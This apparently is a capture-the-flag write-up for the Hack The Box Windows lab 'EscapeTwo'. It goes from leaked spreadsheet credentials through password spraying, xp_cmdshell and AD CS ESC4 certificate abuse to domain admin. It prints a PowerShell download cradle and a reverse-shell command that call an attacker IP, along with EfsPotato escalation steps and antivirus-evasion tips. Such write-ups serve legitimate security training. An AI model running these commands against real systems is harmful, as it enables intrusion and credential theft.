Post

EscapeTwo

EscapeTwo is an easy difficulty Windows box involving AD CS misconfiguration.

EscapeTwo

About

EscapeTwo

EscapeTwo

Difficulty: Easy

OS: Windows

Release date: 2025-01-11

Authors: ruycr4ft, Llo0zy

Summary

An Excel file in an exposed SMB share reveals the credentials of the MSSQL sa user and allows us to get a foothold. A MSSQL configuration file reveals the password of another user. This user has control of the ca_svc account which can be used to exploit an insecure AD CS configuration and escalate to full domain administrator.

Foothold

We start with the initial credentials for the user rose.

As is common in real life Windows pentests, you will start this box with credentials for the following account: rose / KxEPkKe6R8su

Nmap shows the typical windows ports of a domain controller. Of note is that MSSQL is also exposed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
53/tcp    open  domain        syn-ack ttl 127 (generic dns response: SERVFAIL)
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-01-22 12:53:52Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
1433/tcp  open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49685/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49689/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49702/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49718/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49737/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
64583/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
53/udp  open  domain       udp-response ttl 127 (generic dns response: SERVFAIL)
88/udp  open  kerberos-sec udp-response ttl 127 Microsoft Windows Kerberos (server time: 2025-01-22 12:53:01Z)
123/udp open  ntp          udp-response ttl 127 NTP v3

Note that the nmap scripts reveal the domain sequel.htb
Let’s add it to /etc/hosts (or whatever DNS setup you prefer) and start enumerating.

With the credentials, we could already run bloodhound or use ldapsearch, netexec, enum4linux or similar to get an overview of the domain.

For now let’s just dump all users into a text file:

1
impacket-lookupsid 'sequel.htb/rose:KxEPkKe6R8su@sequel.htb' | grep SidTypeUser | cut -d' ' -f2 | cut -d\\ -f2 > users.txt

Eventually, we find an interesting readable share on SMB

1
nxc smb sequel.htb -u rose -p KxEPkKe6R8su --shares
1
2
3
4
5
SMB         10.129.59.236   445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
SMB         10.129.59.236   445    DC01             [*] Enumerated shares
SMB         10.129.59.236   445    DC01             Share           Permissions     Remark
SMB         10.129.59.236   445    DC01             -----           -----------     ------
SMB         10.129.59.236   445    DC01             Accounting Department READ

There are many ways to enumerate its contents. Let’s go with smbmap to get a quick overview of the contained files.

1
smbmap -u rose -p KxEPkKe6R8su -H sequel.htb -r --no-banner

These look very interesting

1
2
fr--r--r--            10217 Sun Jun  9 13:11:31 2024    accounting_2024.xlsx
fr--r--r--             6780 Sun Jun  9 13:11:31 2024    accounts.xlsx

Let’s grab everything from the share with smbget

1
smbget --recursive 'smb://rose:KxEPkKe6R8su@sequel.htb/Accounting Department'

Trying to open the files in OpenOffice or Excel will fail. Since modern office files are just zip archives, let’s try extracting them

1
2
unzip accounts.xlsx -d accounts
unzip accounting_2024.xlsx -d accounting_2024

We get a bunch of .xml and .rels files. Before manually going through each of them, let’s search for obvious strings:

1
find . -type f -exec grep -i -l 'password' {} +

We get a hit in ./accounts/xl/sharedStrings.xml. Use your favorite editor or xmlstartlet to make it more readable.

1
xmlstarlet fo accounts/xl/sharedStrings.xml

The first elements are the headers and then 4 rows of credentials.
Only the sa user is new, let’s add it to our list

1
2
3
4
5
6
7
8
9
10
11
Administrator
Guest
krbtgt
DC01$
michael
ryan
oscar
sql_svc
rose
ca_svc
sa

and the following passwords

1
2
3
4
0fwz7Q4mSpurIt99
86LxLBMgEWaKUnBG
Md9Wlq1E5bZnVDVo
MSSQLP@ssw0rd!

Let’s spray these new passwords accross all users. We find two new sets of working credentials.

1
2
LDAP        10.129.59.236   389    DC01             [+] sequel.htb\oscar:86LxLBMgEWaKUnBG
MSSQL       10.129.59.236   1433   DC01             [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)

Found with

1
2
nxc ldap sequel.htb -u users.txt -p passwords.txt --continue-on-success
nxc mssql sequel.htb -u users.txt -p passwords.txt --continue-on-success --local-auth

NetExec already tells us Pwn3d! for MSSQL. This means we can use xp_cmdshell for command execution.
You could also abuse it with impacket-mssqlclient or mssqlpwner but let’s stay with NetExec.

1
nxc mssql sequel.htb -u sa -p 'MSSQLP@ssw0rd!' --local-auth -X 'iex(irm 10.10.14.39/revpty.ps1)'

With -X we can directly run a powershell command. We can use it to execute our web cradle.

It succeeds and we get a shell as sql_svc.

A web cradle is just a way to host your attack code on your web server.
In this case it looks similar to this:

1
2
Invoke-WebRequest -Uri http://10.10.14.39/tools/windows/pty.exe -OutFile $env:TEMP\pty.exe -UseBasicParsing
& $env:TEMP\pty.exe 10.10.14.39 4444

The attacker machine 10.10.14.39 runs a web server on port 80 and waits for a reverse shell on port 4444.

ConPty shell is used in this example. It works on modern Windows version and provides a fully interactive shell. Build it yourself and you will even evade the latest Windows Defender.

User

Enumerating the file system leads us to this file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[OPTIONS] 
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic" 
IAcceptSQLServerLicenseTerms=True

Let’s spray the new password again. To switch things up, let’s use kerbrute.

1
kerbrute passwordspray users.txt 'WqSZAF6CysDQbGb3' -d sequel.htb --dc sequel.htb

Besides the sql_svc user mentioned in the .ini, it also works for ryan.

1
2
2025/01/22 15:03:30 >  [+] VALID LOGIN:  ryan@sequel.htb:WqSZAF6CysDQbGb3
2025/01/22 15:03:30 >  [+] VALID LOGIN:  sql_svc@sequel.htb:WqSZAF6CysDQbGb3

Let’s go to Bloodhound to look at the rights of these users.

BloodHound CE ryan groups

ryan is in the group Remote Management Users, this means we can login directly using winrm.

1
evil-winrm -i sequel.htb -u ryan -p WqSZAF6CysDQbGb3

On the desktop, we find the user flag.

Administrator

From the machine name, its predecessor and the existence of the ca_svc account, we already have a strong hunch that AD CS abuse is the path forward.

BloodHound CE can directly show us the full attack chain.

BloodHound CE ADCS path

For best compatibility, use the SharpCollector that comes with your BloodHound installation in a shell.
To not worry about AV, I prefer doing it directly from my linux attacker machine. RustHound-CE works well with recent versions.

1
rusthound-ce -u 'rose' -p 'KxEPkKe6R8su' -d sequel.htb -i sequel.htb -z

First we need to get full control of ca_svc. We will use bloodyAD.

  1. Set ryan as owner of ca_svc
    1
    
     bloodyAD --host sequel.htb -u ryan -p WqSZAF6CysDQbGb3 set owner ca_svc ryan
    
  2. As owner, give ourselves GenericAll rights over ca_svc
    1
    
     bloodyAD --host sequel.htb -u ryan -p WqSZAF6CysDQbGb3 add genericAll ca_svc ryan
    
  3. Set a new password for ca_svc
    1
    
     bloodyAD --host sequel.htb -u ryan -p WqSZAF6CysDQbGb3 set password ca_svc 'P@ssword123'
    

There are cleanup scripts that regularly restore the default configuration of ca_svc.
If you get unexpected errors about insufficient rights, repeat the three commands above.

With this new power, we can now use certipy-ad to look for vulnerable templates.

1
certipy-ad find -vulnerable -u ca_svc@sequel.htb -p 'P@ssword123' -dc-ip 10.129.x.x -stdout

As expected, we find one

1
2
3
4
5
...
Template Name                       : DunderMifflinAuthentication
...
[!] Vulnerabilities
      ESC4                              : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions

These articles have a good rundown on what the ESC4 vulnerability entails and how to abuse it:

BloodHound CE has the same information.

In our scenario, the steps are as follows:

  1. Make the template vulnerable to ESC1
    1
    
    certipy-ad template -u ca_svc@sequel.htb -p 'P@ssword123' -template DunderMifflinAuthentication -dc-ip $(tip) 
    
  2. Issue a certificate for Administrator.
    1
    
    certipy-ad req -u ca_svc@sequel.htb -p 'P@ssword123' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn administrator@sequel.htb -dc-ip $(tip)
    

    This might take some attempts. Eventually you will get

    1
    
    [*] Saved certificate and private key to 'administrator.pfx'
    
  3. Get the NTLM hash
    1
    
    certipy auth -pfx administrator.pfx -dc-ip $(tip)
    

With the NTLM hash, we can use evil-winrm to login and grab the root flag.

1
evil-winrm -i sequel.htb -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff

Unintended path

From sql-Configuration.INI we get the password of the sql_svc user.

In the shell we have from xp_cmdshell, our priviledges are limited.
However, knowing the password, we can use RunAsCs to login as service

1
runascs sql_svc WqSZAF6CysDQbGb3 -l 5 -b 'whoami /priv'

Type 5 for service and -b to bypass UAC.
We find that SeImpersonatePrivilege is enabled.

Continue getting a shell (here I’m again using ConPty)

1
runascs sql_svc WqSZAF6CysDQbGb3 -l 5 -b 'pty.exe 10.10.14.39 14201'

A good reference for abuse priviledges on windows is Priv2Admin.

EfsPotato works well on this machine. It’s also easy to compile directly on victim machines and avoid AV.
We can run a similar command to get a shell as nt authority/system

1
.\EfsPotato.exe 'pty.exe 10.10.14.61 14202'

From here we can directly get the user and root flags and dump all NTLM hashes.

This post is licensed under CC BY 4.0 by the author.